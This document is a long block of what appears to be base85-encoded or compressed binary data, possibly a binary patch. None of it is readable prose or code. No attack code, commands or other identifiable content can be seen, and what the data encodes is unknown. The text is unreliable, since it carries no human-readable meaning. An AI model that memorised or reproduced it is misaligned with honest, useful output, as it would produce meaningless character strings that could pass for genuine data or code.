za>RpFjs%d(;RLB1^)@xzz7~+GK|FRy$?aqJvsSer<*THJQv!ZiLZv!EDn}wn)xH(<5X)!-sT#D~S|WZ7Lgh%ZDFvkRx@^r2 zGV_Ae22oZ0fVA-=-S;gn{za z+GOlyX|XodgH-*RZ7qIpOG^N$C@r?uYHQAY4C4`Q-$an|wb|5eQ-|$K+Sl@>fK*?( zKq^WHNNqPSNNu-H+t&qBecBCDrMd6}2`Yyhq;h0}ROBp>%8>(7IXZ3XvVGkkRfA0Y z(1G%0fy`|QdYrB7wo`lT)LxLvn}Z)GP+RHLJ2mz|D>WXZA}4^wR$eDawWHP6 z+H7jKQxnHpIg&uCw02wTu(gzNmd^!JKCi8H+M4?}mM;^ed|kHIZBy34mM_Pq9-De? zDoV6`6*l$R)NfPGA(pS!COPp|vso-i)g|86>OpENG~3hyGJDO|+CXOB@z&T)0I9L- zw6#Q#iq~Rmt+ubt*4k~K^Drw%qD@I4Ray#2?F%lDs+HTOHjpZ<-KGwZ%IgKGyqzGG zx67ua!>zn2pg%>+nM{XGUYlGKET0>se4RFR`RE9Bp6)QZLC-T@FK7otBKLt-QZtg& zdAq}i1+Af$0K!QCd`{3y)RI6WsilC{Q*(oMq?QSKg<1}16tyBy7quGDPSk2auTyIV zji%NDdV^XUD2`e?=q+kqP&~Cx(7V*SK{$A#em$V~sr7+yP=wYG`jA@eMEs;JwRq4c z)SMt3e&9<4^-@a#;Sd7N1=>U{6NJMBv@Fn9)QUhjG(f}8MjGExs|DfE0IeRhnOX}7 zhXH7i}(`)(OI-4y_CHBefn7CT3{8Ai4brEdpV31sRj@NsU@O2$LqX z1kiA5i6Bgd(2_tSsJTE+YHrXdYFQvmZSduQ;;7*_Fbzyu&}u-tP^$+WM6DULJGEBO zSZZyc1Zo{1Og6~t1?@wv3xtUUS~qBaYP}##BGCFkW2hO)_`zUmv7oWk5_y=Di-sDpYS_GOx z%>_Dog_2Plo27jyx&F3@q*xjfQ8tq*i5HR)tG zwOG({Y6+lpYEIA<)RI6aP)h+_NzDy9ky<9GiCPXQgIW=&nOY5K4z*g)b<~ToML(K`APc0GD zMlA(&Dm54AerlPZ)2L;E9->wRI-Obt=n-nQpe$ja%etqb%VwI0v{YP}#YwSLgq)MTiyrWOx6hgt$?Eww~YHnk+sI%+OZ4mCIEWolWV zTxvO>zfh|HEu>ZhdW~8=D34k*=x@|oLHX3$KyqCHGdie%niupAwJuO0wQkUR)OtaS zsP%z9pe8$N5w%#*$J7!)#nhaj&!{DV&ZU+D`ka~@bRM-#(3jM5Kqb_QKz-C|K&8}b zLElnq29;530ewfU4OC989rOb=FQ|fACul3RZqQ)1TCSK1sYAQ2(*-11!!k#wV)bm^`PCTwSdm2)(YB_ zT03YNwGPnU)H*>IQ0oHiN392RA+=tRlUhIMB5E>S9z-o3bTPFA&~K#4ZT5HBfVcj;EFcx{_K7=mctRP$RWW&>U(xpsT1A zfikJpfSRb)f=;2<47!?H3+OazZJ=wYwS&%}<^?rV>jW*J)(!eCwH{D5wLZ|b)cQdS zsm0=;bse>MPysb3=z402pdxB1pc|;UK<81*1l>q23sgp}2y_#*3eaL|wV)Pi^`I(h zEufpJwStyXYX{vztpl`-S|{jt)Ve?yQR@NSO05@EORXRDdunpXt)mtXx{X=_=yGa_ zpxdb>ff}f}K&{l=psT25f$pG|1G6GS?w}?o3~kh6L3dM20R4fQ6LcT7B+wtJr3g`TgYKu6 z33`xP4(I`DMWA+SHIhoL7W5dkX3#^_T0l=yYXdz@tsV3TbFHlPYZKUP`d8xTUUr@^et)!L%`kGn=Xce^@&_AfvgH}^(2K|#- zD`*Y1Hc&sc4$zC#yr6$k>jJH%)(!fJS}*7&YJDKbaA}*IbaqmU1;tQH0Ij3u1nodA z3ACPC3TPxXH|WpQGC@00%K^Pitq2rPtp@Z8wOY`w)S5xBQfmS2L9Gq+7i#UGy{LIX zUDP^3`%>!$ZJ^czI)GXq=rwBnpaZGJ&cdf{YVn|P)SRHdQcDCSQcD5-jhYKIo?0g8 z4Qg4S3Dk-}Z&IrOO{7)}>ZVo?noO+)^cJ;N(2>;IL2py*03AiG6Z8(XF3>U5dO+_| z>jk-}^@ILSO-}u1QHuw?M=b$#9JNHy`_z&^>C{}H9%^n-2DL2E2h?&v^QcvTKBQIy zI+jiyAtq+t-O+L8vQi}!U zQ%eACq~-)IqLu{uoLUO#TxxF6CTf|WQffJ%FQ^rPjb?^tsAs6wI0y>)cQcXQ0oVMNG&!Uvn{oF z&?nTKpxvk?f_kZ?fOe;Jzo7l7$t8$rYVn}`sU?8qE(=^y0v$jt z2{eM53*@Bc292VY1sX#w2NXxG0(2m?8qhA(>OlulYXVS_fzxH7{r% zYF(h;Q0oTmPpubpFtt9=7;16>C6QVzXe_k^&>_^Epo6I;fexjXB1Fv%8c!_~bU3vf z&|%byKuOeUB$Zk%D4AL_Xacns&{S$|pd+ZYgQijQf|96pf~HgJ22G^a1DZjt4>XBd zKWHYk*bJ0LEgqCc%?X-JEfM6VmI9hW%>_Dxj`k=vOuZSazN$ODnK)-)qpCg)q`eHYX((QYX!}w)&`RMD{%b< zlt#@9x`0|2=s0TKpo^*Xf{v%w2fCD+T!eE|iv=yGmHjs@f ztp{{FwLZ|v)cQepQj493PutYuLHAH|g63081hr910m*ZG@cjqqerlPZ)2L;E9->wR zI-Obt=n-nQpe$ja%etqb%VwI0v{YP}#YwSLgq z)Z|j=YHIPIbEqYN)>2CZWm8K6t)u1w%B7YA`U|xR&_Zf8px3C?gYu{~ zgWjOl3d*O}26~HH2dIFW7xXT*E>I!0ZqWPGdO?e*^?^R5CKqyxsKtUlp_TwDrsf3o zQcD7zODzSoiJBX99<@x+SJZMqCDe*Q-%zUol~St(ZKl=?Dx=l{`kq=FsGM3mXbUwj zsDfH2=tpYZpvBaBKyt?tzR>|yQtJmrQ;R(rXPeaGLBpvzK~>ZeK_jT8fU2pvK%=N- zf|gLr0>x1)0xhLh0osLHEvSZCJ!p4oEuizMwSwfHDSV>?T1Kq{v=6mT&;``GK>Jhc z0bNL~7c_=iKjuvZXazMdXgakn(B;&+K{KfJg07&}2bxJuz6_|R z77I$FmH=v?<^;K^C4sJ_mI6AFnj6$eEfX}CS`O$cYDJ)vsMUa)sMUhzQ)>oYO|1oV zI<+>?HPqTcXHxTmnyGby&ZgE4`Yp8{P!6>|(6!Y1L3z|-PsMCYEgn=z%?Y}mS|X^J zS_a;Osy4EL#-Wj3$+f=1=Ko0 zzoXU#x|muI=vHdIpi8OsgMLpJ9wN}vG)Y?EdQ|kcTL(L1im0B0*UTWQ-+o|<} z?xWTRx|5oGq0~k#7IY7_1kfL-IVF`^66lZAQb6}pa|=<+1U*D82lN27BG4n$YCsQC zs|7tytr_$XwHDA*)Y?D~Q)>tPiJBMGPOTI49JOxHBh-38UTS@yN2&FLR#S`3!u3CD z@u0QToS?_4C4$ybO94GW%>{ayS|;d8YFVJaP%8pGMXdt#8ns$b2eo?8->9{Ko~G6c z>ZaBX`V+Md&^y#RLC;X@0=-AA2lOnpUeE{B`a#c8ldttYrWOx+o>~IvGir&T7pNtH zKBwjad8xTUUsB5gt)!L%>Z4WxT1Bk}^ewe|&}wSUpzo-)g4R%L1N}g)1N0&_FK8>Z zF3?(P-JosMdOjOoNkZ~_xN_J9<1r4K?09r@Q35unb1X@om1+*hIH|WpQGC`xM z<$zwMRs`CaS`FwGYPF!Aqu&~Ky`eNv#%CMXee16}1-7Qfh6Wuc@_zmQnM9`lxk+ zE~3^A`i5E$sFqqE=pWSjL3Pw(&%vHdEgp0^H795@wM0+@wG_}lskuN`QOg8r^FPoQY8{~8QR@W#i&_`xHflYft<-u! zcTnpG{YXu2FSwgpJm@EC384F^C4#n5O9K6onhPX<9E0nBpa-dCfgIFwK#snvjXqE-v4q}B(zbfna@A9NYX z$i>JZ#e$ZTQa~$6F3{y9H|Ppd1*o1>18N}Eg03XhgBnR4psPq;P!p*WbTz3D^ukW8 z3uqNdZU%Xg6btGk#e@D#N&vk|N&;;lrGWlQa)I6?xj}D}GC_YQWr5`H5OB@~`j}J$ z`ixWy`kYh``jXTP>Lay)z9qGSz9V&jejs^4TS=XuZKQ5c)MzQK2Q-XSX)G=_DvNPn zTQ2TpnP|)^Hu8#bN5@Gi)x%v6oo`R~y1|heqx-z$_!0=Qr%=TC-l2UE2Ns@0Zzr1>3NrBJn$uC}FRLe`{ z!s05!gS;t*2YJ*h$`#3cgIvQzNHs<^z18%}tJG0><&9pE>0M0kVtVBjUXjctReZj|N!5C14yLFas*Gw?2H(VKmce(GLk!H}L5CXB zkLZBhDlyw{(qjcB*@Y#!i#$d_OSV*GV+HZDi?b^{RWh9NN(yo-&6RAA zf1@f3FyhLXwQ^!|_QKq<^9u4=nBS@duJ#mE+7+=^mK0WGOKM?-C$G|K4K%4&u!e5; z7?J^yPr$ZN3P35P)g?*+CPM=;}X6t1I z*wj)tfO6(8L_e{%3q4BlEUv6ll91B!N-LBEu$2N^LRU(N!n`F_X4?hLc-6&K<;p2! zmSJliTdOLsE>=Dvm}j!>Ii;}gYa>RtmdP}R^1m{gxZ>#HK5RAb}H&-$|{FOUpr*Qs)0(eqHxXE4(75#sx*6zJ!8k0HIKcOe=v1%9z`N@vG~?#qq@{}sPj zNU>^JT3lww61HMdx3V+Af5nc)6gyUKjV~71jwQOCT@w6Pe6b|OidDf1m<{8K6-}jB z5mb_IO^UK}NkIPVLKSk|t@6l!vas1+;8e@Y=+2{=C5~@fIpky(Etf0+15&x$2YT(tsGpjnvhqp z*p5rKTwJkSIF+?~o@~4DiPRd_^6Av>$2^?WS)+mM%Yg(dZeE$Mj`C^KjAgy2l@*lqF4XNB_57)G<(;FmS1 zl2U-ZNBD)a`^nUbiWe0HS59d`<*L*2aCZL`E7Q{A`~u%>uhy(>XQl;O?IvL$V^~^= zYRzh!3~awdbJa@4;Py*YYgQUFqEC1s!#7xhWNWX(H0u|MYrgt1&5kQ;cAu(z0a5H- zmphU*uDN3Mhf1+ptdguXeDd?FiCVMDUhKaMsTC`mS_?E<)mn@w_SjP^b~Yy2*|=t9 zlS7Z3%X3zcJ=wQ{a|FK?p5-fBuADyDNmvU>v!gQ&YsE`TOKYmKOR;4avR5yz@%z;>~qC zgSlQ3=r0QL`-)cnq9A`sbx?*9UzN-fs)Mo=1!pM=&QcVdrNk3limw;UQar(>1ZOD< z&Qj#df{PCYi|rz~X7>}oP#x^GS@@$;1Uc}hxrp2}Q1zNZqGY|Xh2Y`Yv{ zjZTc=Zdfoj*4<~)LXmF&~^&AkSx?ghO8&avGSuqu%VK1MuU~H26 zyv~%y*%K4%dcJPJ+sfXkx}K=$n2GMZPWQ?WV%*W|-HmU$QEcP#t9vSN$3Wcu-Ufy4 zrsHEId);RT3>?AC8h3xcm9w#GEP8B>GkbLcs`v!HIgH_7;$B3GdunClhLxYkukgmD zZNN5J;e9$Dw$!+^&gHLF53gGpyYlnc*^R3jSEa7(jj8L2n;n<7YK6Dyq?okEPGm`4 zxiKoWv9s=j=rm+$ni;iXU25YxczUMeDOI7Ys`zG(j@x1-?%teZW2LSpi34LiFVPKrgBB(8oM z9&1!|W~d>X`gA`;chl~8RcS2t<*8Ubm8G~qw{uL-0o_T$t(Ha>Q*j%Waf)4=IngWY zwnSC!Rkvl&>Vq@JuS}17-kWi>xBB?m^%!)hf@pb^a%Rgoj99Bj5I3||;al*)&+y(8 z)_W{e)mk^`ezp;}^O>#1tvY6F@rAtE+H*lFM-@orxD=%N=W>whpGJ`CpBq6cM=MC> zco3v=JPJ}do&uRYiqV2OB>dp{K?YBj+(2e+(r%4mbO`LK5)(mcKphWK1IllVp2|U* zlHSexr=6ZUKlQZK)92)MrX|0Yk+%wkq3FWY zxU!zYxQdUBv=!^(uKo!*Q|o?+kGpI$%RD2&-E>kyVO;s)ST$0cQn#f>dojJ7&=gab z(X?-)`{-3mM`RrRc3j;Wq^C80lUny_U+N3rp=xPOS)Wb-W5CAs237G%tKBvDRG}SMoNL z1>?KYj(#KVsxs6tJ#W>V#@}fy6G>t+ncZ5bpcX*xY7ef;Kt{>f;ZmvCa9$!(76VVGw(C8ssIVv=7=UguxG)JE^?y=s=6y=vRa#x88z3qMco*cn-8kN3{Y z+jr-gi22Ukrcv+sVjh8*G0E#TO-O4@XGnW{VeSnR?`a7)zH>JEYsa*P{iRb<8xD&~ zuUi%4uKUUnw_*x9HluL?y0q@4nDlLH((As2y6q=X(M4_~rMN+^)a=xAQWs>Ov-$)? zoQ#_^VhkCy|Bt;l0dK16`o&M1v`q&{%UC9fS}+J`p{T`*=9HA4K*|gPq6}dk3r%Gz z*qT-v4?z?ZR777yUJw*yo`kkQ2j)>mwamlNC&J~>UHpzrs6_ul_=pPQ#m zerNB!)}Gehd+oJ{gKk)oeXa6!t9;v0TBc7I(a+NO-=AcAn0_4-PwLwfC1*;6$?6;w z5p8uf0ux>daZy*H28f$e;UHyS@)PAhEt+kq-Tg2ou6sRDzb;;9)*R5M&qJBYxmH)m zP9jA{LOaNPTj<(3N9iz($A=Dyb2js_>bGh{m+8POffM2+xl?F+IXycSd9gUPfhkpoiGZHCgW}cu1@xL}wybG4*m}yG*mr*If@W#-(TJ)2jhc)k*T}@Gc#$Pj@2; zBD!}+){l9A#w?y{=wie2dJYY!1_MCr9D! zDz_0tbi%3V*$vorgZKlrVMR}Dpkb8bY8z0!3ifA&zNn41K2q6sDv^xqD7La(G3L5{ z#xOwm#p_7L+s}GHdPH&WNB!|}+>(}?iCl=XKZ!_22uQ3l#PnbM_*B8iw@MWa{c5ZD(NC2s{`@CE z7Z?=GA^Q#qX^d!=u;KC*ph(sxYN9-ULIIx z8eO@XTp@25fTIqXp}SvXiM^xF5Ch(Sjm7xeUG~=L- zew|e)(44?;cOhSMl0CbX=gXRt=ozhoPICgk-Lcb?`x_PiCd#v<*viZ!wxTZ%`A6ymb)$~cU@ZUnqTf(Q0{uU+|^y~N;_da=_SZhW-NDY z!dyMc!~;({faFI#hvtOlq|}CPtklmi)9`0ICAmU=M$ss`v@7Hbda%mHR9?!+Ha;gGAUVxVj-yhW6wp-GRX-CGbPAE+((Z#IZ7fE6GL|B|@v?rM+31!u2b2&9 zJUhV^asYaq5hB^w7*3%u&YO+82SaHO60b-K6-}X$4P+c`PU@L?Ou}cQqrPY_B9&PlYHHOBISG4^Z$V9q^(! zu22*x6!{NO@N5@*QIskaZiV79`K9eNQIkXBTv}8}tAkS7J>KY6{8d&)vjM6%OgLVk zAN06|<7lq&izHtjGE1`Ums~Y0lDroM@slK1XJO0oB-b0^X=T&}j6V&dT7iC{83vhB zpOm^$1sf2npkJ8nu4R_Dr=Ic2oH+;$vdGUYn>KnTWuoJ9?C?w3!nDE zB$4dO*BxvKH{z*3L#=^Ak!r1g!9v*1eeukFqgC_?67&}H{Q_t+EQ(roQB_~&M%N7; zM#8o1vL6@orB@$JWWJJ|<4Jp2AzX#$nNnqyPqTSS+7;GLWR_(qYKP=ZkH|tO%v+fD zh-qaji);F2)Ix%5{pGh&88K|Q)jLK&7q&Rx2(>szhFhFT28(mbW; zs4iK)s5oe&(Ngv~Ka1u|>IxnACnUGA$ggG;B!@^YsEMBb73Ko3M<~l9b@;NO3mh2) zn?frJ>7I++IqvK98Dmkc7TG_l%p!k4B4U-%qmB%+IC6EC?5m+>{rW;FqrhGV)9_}J z?SMtD@e>mkDI?2{iP1!8V%5pd3dGmJk*rPtCJUvz0iJn3pk@P(qnMn#kX!$FUvuo8Nts-*q=cQcz;vsde1wf2!gm>2Q-Gs~CBst|Q5>MBgE>F=Vn+@D zl`zW?E8q8!6qL27xq`0c|7dbt?QS|s$4!`^R282yBXw-foJzkIO@7%KNbxU{<4$N& zBa56)qoqLN94^V|P0L#nYqw=Pi<(yESWD#rZk$Karl~~E>IE@tW4`sjeBXsoZ#a@zUuue*f+QSo)wu64z)cB!^uJ0p1IJQL} zI=)rm^N>RYUl2U-T>j{T51E!)us${uXf2xvyMTJL?szVcj`_}4-Nslm z&aVLwcWVd4`E>>2{6+$Ceu+SwUkVWCmj=XX>E?cJdRPSHMhR(z#DCucu{$n04_SUG5jpKwO9Nia||i{ZoGZAzCw;!q7Ywv0RZ&G?a{? z;jb&kQv+7OEH-4*$@RZtN&bz+v{46AtOuCoiO9P{StPZ}tGQW)Irv&!9g$O+JKZls z59w?X=jsFVfP>sH_A|dCO&l#@WM`C3d)|sJtG`7C-(waTlZ&z(32RY290ppIot!Pj z97{P();UbAj1O=mwNHXU-s)^EqC%ADvd@G{!TF-At=8hKDr$0Q?3P(dBv^#hH1&lx z0BaBRV*R!^LpFJzVCn|L1ga3GMc8Ngx}c-a89 z6|cclsF8}6C*Q%sD_AAiN|*T94HbLV-Mm7*dRwb3lj3G|t!6bZ&!$38kkO|rVVyiL zB!OAUTpTx$C6qMbVN3~TS)y7-nPG*Btlj-tJUm6vzW+%=$)nuN-5IoJS##bc``TapCeU6w=3 z&u8vn1zL2PmWWO%9~3FSR#?uE^4ca+!7HYDJWixX80YgGsYn5PD8WOf@&Gui9Fm+< z5V(F-4wrbK>|hPXImIM7H&YGf;UC!=qAp)Rk4;Y^<=cWi0ayl*G@Gd|L`Ufa{q(;O zwr!=xbxH2fpVd&?VOWL(laO(!E&V!eWTwY9>@ET|g|o<*Nwpn@Kw1g}ojZg#YB$Zj zp<}yu(yy(SL^}geh>~V^iD<-f$WpjFCh2^j$lJt_JhOupRZO>5Db)}_mmHEO>JUV5 zr{W73oxM;r!ODddQHgRbszss5MhQrujSe09iyMdrsa8^JRMIs>wQ7_8+gF-b)S@Il zBs96J7wzMyV0;fIO(ZU(jCu~4id$;h!DNlOJwB*xr&N~f{s2NN?<}g~5p1Q&L13v} zcP86>{|986lK;0K(h9K4!B6KOp!<(M{}mb*i4XMx^D$&;g=c`8uwjR~6&vdrXg-y~ zPz(?ss7$JFf1t_C*ADaFW>lF5@x?D2<_E zKvNkS1vHHzQXJl4$PSds&_tjq43RRC!cZ!ZgCRFkPb)&6P8EABtn#OHg*HZw&Sv?b z=s2sfR~H?>`Py}&uYvY&MG7vMuOdomiptxU*lYQ|EC(KWk*^tb9Mj0%S&+K(aQ+zV>{EBz?e& zaS;$-c=;ZP@9o$O#CIZO0r4dm>I?Wzgz^$FDkYFyA-gFE`M)l^EUWJz3Z8u0_EMgp zN~>gAB~>!zznw-$;oblFYFVJ>YY7mq7TOHLt7RJyuNG=wyjrMz{j+MBije=kYWce? zv#N0*8eTPAf3euIX-&tGrA@FMFw0^qY2<liq$p#VR8c3ehlD9LaZU3r za!!dk$f)zoi!sracRygY@C2u>jn5Y1f%t5pClH@4yaB{#3;%yh4@5Vb?Ey=W^Rdy+Axh$GPj)BJej`l{av#zs`*6fVMcC_{e2^+@5ve;I<9xCrp=!&q1I}|E#F0cK8 zxV(-A;_^Bkh|B8)AZ0@nTJFO+H*UwkC9L-3TnX_&rj1O|<$-vn7@FU{+xT2t2 z!5%J(|D@PPAqHM-m|H2uMlFaJTP6@MHWv^tHqtCP#X=xn&?|sA#Tp<^u@OiqXc@*` z3G`9b+U`yCuI1TfDw#udKF~JrWy_LpJsF|=WX98K|{hn1c__mUN zvdH^bSc|PkD^X5}Zo12g0nZguOKA)V@;5XJy4sdmZCHt#6OjroFeYZwn=)ux(aU2S z#a4|kEP9(;$DuRsz>IK*B$q-(E|ju=4>fBpVYM$}A~QDIc1X70*Rb%U zWKJB?*13iy-A%8*;!g3-`OL}U>{;5u**&+|L*XX#f+spt%Mww){uCyk7M6}Se5 z@N#2QUwK)u`y+&Y*={@p3HAV!eqD)v*}k&u*j(+)*vgWH-yne!xfeMKO|C_@yF}I^ zEOLR>W@^Ri3Vx9+6UkvziHbirCWtYAO>Jgz)wqT|P!g%@H4s;{fSqa4O5}HO!yDFZ z9636KO*w9nJK00Ywzj-)m2}n{nl2kN}l{UUQ2cm?<5>tp45508Qg*q|86|p1v zbr{dPN$3M)?H;V5BXLPpk(y}1-UdIBLh_4J8SEyzQ+{Eb(zBAQmWw#ukI4#!O>>>v z2&834srx-R^CE&w>(}3t_e%0kxd<_}=9?=Z&pW`K%X682*?v5Vh&rfAqQBv)6T2%oa-%-Av_O}S8HBfjOm9A`N-p)z*r)cK8kcyI2^dS(piGHb~^(ra^;#1^W5VXN;3fh2L2}2#wyf`i0A;-~^7)Lm2siF)O zomPg0>t%)uYkDz@Es7>ALuO>Tz^;(#Px?QK;u{nvVev&L~orK!B9TXP=@vZ zjbw=4Au)=fBS2#rIu10NA$lXk7={Xg5*a!VG>jp7ze5s3iiOy7YDSWMT$449OMk(D zDcNpekB+|-(?O?a>+fl0LMo>D&q=P1p{zY)Y0OD$y=|e>`oe$(D|0skNns?(qjD-l zlDmaV8HbXC0YU-nK}9b}ay4>lzA+RGJ*@IfI^r*JGaa~sEX$5FGNDCUFbEu%uikdx87ES0% zBKvK(%Db2Xg3XD6-r;ivQ7Tgcv!7g{>_LY^s)NezB}BV`)xl7pxqKEv%P(ZTW{0;( zKQO=#z3NFEO2F0vc%1bYX$JB)-GCCSgEZcW!3ibNlmf`5#B)VU64=t~$PSRR9cM}%g#oTE8Z6AXYVaMASgIkOsk=+F z&S^}k7XwT|zhs6>Wz3bAPC2s}gyebZ2lOq=(+8?s#YPq>-|^&6bbUw{1B>!;oOZ&l zNVA-$r1d?D+myPWa%0N6q%j5EWpSD^qop$D>6Mk{YD{tt7>U`paqVBHJqdj~5vg7fOwaOxz@xAX&lrQCTQ6tOY4=|5h$7iqnm6y#A|3TPqDh-4ONY{Fmv1-dF7{Bi z9Kf2fCSn#sA`%#HQh`Jq50sCK^nPmr?b^8xztq5;B!ahKwz?+gTI3R`X|dFFJvA&G z9)l{AE5#HiM|-I<>Lv?iz{c=@PLsOZ4}&##aVBDKLYAMqFN8$0?UZ6J>oe@Yf5$@% z`q^v1XXAdZ(8$Ad7-t#)Mj0iO!bJJ%RzD;XE4&xtT9y?>CqPZ9A?HG`c*V~ijBR|1 zM?)OZ&9x#ARel7iAg(uwYs^J~pcmJtifhs{3MRFdb0Y%8mv`EqgM#9zph~l;=p|y% zubJUR-7^ZzdW#!02+MX`Dm?~QWLUX~sTTsopwmRB<_(rQW*w8{52%>43Nh~Q#J4FZ z7l(*F3J+uAxQF#g1|}fh4B~)zGiVRQn*o+a>_Z+@F>=aF z`VVYx-YAFS)etgb)|+AR#%`H?5Lcx{nFi)j4KJa6p!_T7W#yf3xoSueLa(QdIBdiu z`KLiM0lRfYGxm5ITs?7YGhc~=b>pxf9)rSUO1%^SeasYe%xjp$0ZJ<2&Rm}*ORY)1 zCdK@zPv3-8XB^U}ufi{r_~PW67%@oc&qJovq#0~MS>ZPM&CNUqKp)8jfz&X38( zB3B*Kw1=v#u%APOLmluJ(#L*Fc00CzY{;D(NNVjXlG>N%~nV z^fMPFTh-6FZ-1p26cvU9g)|zFR8)v~%{v$oPLNt;Q|KnrJK|(X7bjzt0y}J#9J8EK zHaQI%Vj^`$6D15lsYn4@3qM!P`Xg~09V-xBbIIsNY#+z5XgQ0R-Zk^sU>Pb`n%xyG zVN}$UJdVn3MaDfTs5C=ytp^MC#?**&!Ar>=D^(bN{i&;F<>S_Y5ej8frU8cT5^THq zd#+81YaT}8id@(G)7>R55o=kT^>^S#teptz{`?=YZnB9CI_0gGCs_7pj4@_##@#)P z5!M}x2VR7b>I77=C8ogMJpr|YR`0d{7}e zdo3goQiCQsNRc`BbZ|yhlPfDv_uCW|mo(X=i)%eVXKw{hQ9gnVQ)r#~kGahuLGFkv z4PM9HC;paO2N8o8)0V`;HJ3K^D!f%8ch~ab-;1JUQMA`@-HzcT=6LcGU^-H%TGr$< z>w1Lc6xthnhbz9UHk{#nIOkQfk%gGM0;S-wx46F{H%&6MbIysAN@^P{bX+MlWurcv;?S?Zeb&IVR#BE|Y#137IMQc&^ z)8R~86r}*#Bg{3bG|l#+3%AJ8B&{HWwD#oZT|9I&0`8h6QlAciLA&sDgoEvASRW?t;q+GS$Z2elB9 znrV9}Zv~!66cl1d0MyIMWGeB zprYksK`U-N?V~I8he#{_310qG?E5{t7~N5i^r-_MTy}v}@ePk|-GdIdZX-lg7WQKD zR9wQdxDv~j%JZ=Y{PQ00Ur)~-X%APkMRLm-eo}b=5@Q}9Sq;F}CD9E*Dnsqn(03Rh zkx&c`EMQRxwI`2^qFqAe+8ZagL!U9Y1_keERKvOrU>XM(9z``Z3Xu7+XjmN7KUIhW z-kPE%55%J>`h<;AHd4(VGpM>3m-6vs6RF3K4Vj{Zq(F}z&w`jn>ORf#f`J8G-LatL z zLh9K7I?^cTNBA6cr=HP@srjWr`68xFN^?prkjz0jsuHBQ<_b2YRVfZ;m^74T)*bv& z0kq_i{0ab;8A^4@wUEe7nfh>A9aS*=lKRG9uq67Zf+Hb5O*62#M3feMgIa?%))I3 zTEY;$wwcHFGtj@8+f|^I4Bb;v6|~h=%&mcnUIpTD^ixqL5HEXrsVOgedMzk-%Te8~ zsBZUFw-bS$QY!@F`MpeTto-zdo#)K}w3MZVzIh6Es)!C~ako1_+^D042E&ayVL;rd zQwxY2b?O0eqfTQWP7w*jDcS&WidY~{5f8*EtU&h>k4ESW)B*n*p}UHD0TEA)&==p& zFw`I4WsG7FkPmaCC3RnhXgQuzt6>Z7ehk_1?a$CedWeqa?lD$U~bVsTn=6V(l9p@5SIfpkcqiTKq5m{ zATAr7fw*jR2huU$UO*(ZkUyY6hWY~qGc*XOCPTx3c-}^-C{aar6-@-H%_vfU>M)cF zRE42*AU#8wK-AJ8e?Zi}G{P*P1`N#sYRJ$$peGrc5A-xcUjcC`Sp>vWwFIaw^IZ<~ z978LCA{kl(Br&uBh}ZNMAYRj1K-69}!VVx_=lMXq&i4SdW4;G~nlW?)=vju21660} zG!Rcqp^DC{=(38g0KLK}ih*8b=q6A!L#043GxQe_=O>_d<4CI_9nfE_j|c&}$51Fx zD@I!b=tYLYfnH#!KF~`HDYnRz2uwYXW2d!#(^-8|m})B=tXRcx7=w&y@C{0;Cgy5} zJmenC+=o_l$KEw#9CkZkvHM^tu9?+t6HFxASu#%R=^TZj;=#-Gv>hSvOAFwav7Nwi zTPto942UmbzvC_~hi3=pKfTKwoK0)t`KGu`jiu~eN>GCQ8U5VKL4^r+6H=zP$jk>j zUoB3Ckm$gquv{Tpp-}>4hAPjr(1bZJiU7MlJW$N6u6W~aSGHB8e36M?2-sPk912^y zJRX~9tT2Q>iwh^@@yL`WE(#`=eKd23q}etMqDGNUN7K=(;gP#F*W9z!*o8*l&}ym4l|hH zRf7;t0hq&#m=c9y*t0XuFAJB@0>{dt_tR?Mf0 z)-y(+AvX`dv>dXaR^WOWnZYueeJS0;%QuS_ec?$2qh*#o?}Q+9Eb<86_9|&P#Zagi zlcJiOJ$oqU2Fn#fZrX-Kc_MJPMt0J2$jRLp(34b+S5hlUWI}@A=SO zPVR_qi!Hxl5we-cE&yPZt}a-L#HljRu`z`%OQ9=jM!WwWUJl$)arIAGCbY^O4QvY` z_+b|zH;78;W?gMieOQt?i}fKKs+e<(9(mK9R>N^2z;O>9)_w|N+lj7fI(b_(`^(N? zK!TW3Uk!skPb0guv=aBCG0NT`Igi#eLnO3iY z%jZdi6MO3G{++-V%Hu!@MQXx%4h94to7HN1-aBTS~h!-*BLg4Alqf#E=1~ zGeeJP36CE1Fe|XG~gC@X2pt1bd#(i^UN|^3H z9{0x~xj+2PxKA3+9cBLvnm--Ib34xJwmK=R(W^-jz@UGK2K}G5{(<7d#rgVly0ggP z#>ot-a0cceJl#v3aS1L6pA>W3-hwThLC8^1SfpTbuatu#=~x>`-Jj34pemBierSW$KDDFU=5BnM3G%H=V|8(OSV+; znB@F}s1fNBB%O9jWKe7{x?r!*0=&hCbIu*WG^$sW_^TxmcgF4{ko_Xj%KTbUQd zTstl2Ai{e(D4K4WGG8ugoR*XQuyaMJW2<^f!>za%z5_^kB@a}Qsauco-FwIib%p41 zkV;G_tTx=IK1`R8QKp|+1i7H8$uQPq(Eg_W7S~iGT|<+Y`p$8|UYoWcVL-&0bc^OF zOSzkNZ}AN0ov#H){8+zK|h8P6I$v5L%;tfyH;2i=QRON%3h^oO%z-90(SGc;+ z-d=Rv*KAO?ZlU|vo1w_=CS8dJaA-mv?Ss*<4Ropdvb@WNdEojY^sk+6aVc$+N0E>jY<-gO;M^^)Cs3yAve3#4MQSbUB$L3(=R;Pir530=ew6#df=1mYZhHy zI#;agTp^;8Zpfen;?l$4M*#~2U9H4@UkdAOfdbROt?=q6gB7>H{c4~_Un3vIa})sRj91T>qV>Od3a-uf26q zkZCQpw=i1@8*p$zr83~4ze4}&IXR*M-BGml)LjRtb!$W#Q6Uf%J{zMKLPBEs`Wh~B z6lrk+2cIKS@x!+^v9P(mZn8X-VVO{qEBNtItxR*c5cFmFxGd9>Rv=($lGVi~Ef_O0 zabsaa$bzfgJx_|PwnY)76Rj1k$;?gUtBwbH#llt=^C(ae`(V~#oFwT!ky*Vpsgk&X6!92M_R3>as zHKp!7V9GRd3cM^SpKLF!H_{onDx?$5(6{7Z>Y1#P0}+Oxd^rcF zu=J{(?|l}@WxqzLAY-;mKS#b#Q4PS*BtYMyK)|phjU%6xUZhxZP)t3er{#4KN4i9q zG0c3O-JBU17qngF%nXaF1yQjmVs+hPQgqOvxyt8UbSKiob1rHcT(6;-5!Y*80^)kj zD?nVY5rMc~V|wuNz`9fuP+RzwZRlm$4T4M?AuD9O0sl}?0`PX&ebrcL=fLh2kjo%s-uC%N9%I?8n8Px6+)Iyo9p5eS`J6{VA4_5e#>_C(rxwt@IkK!nNl z{bLhp^c990K0x!q4KXvGX`E*zhX%_JA8~EP>7Y%t-VsZ#HuVu@t}kSig~>DdWKvCH 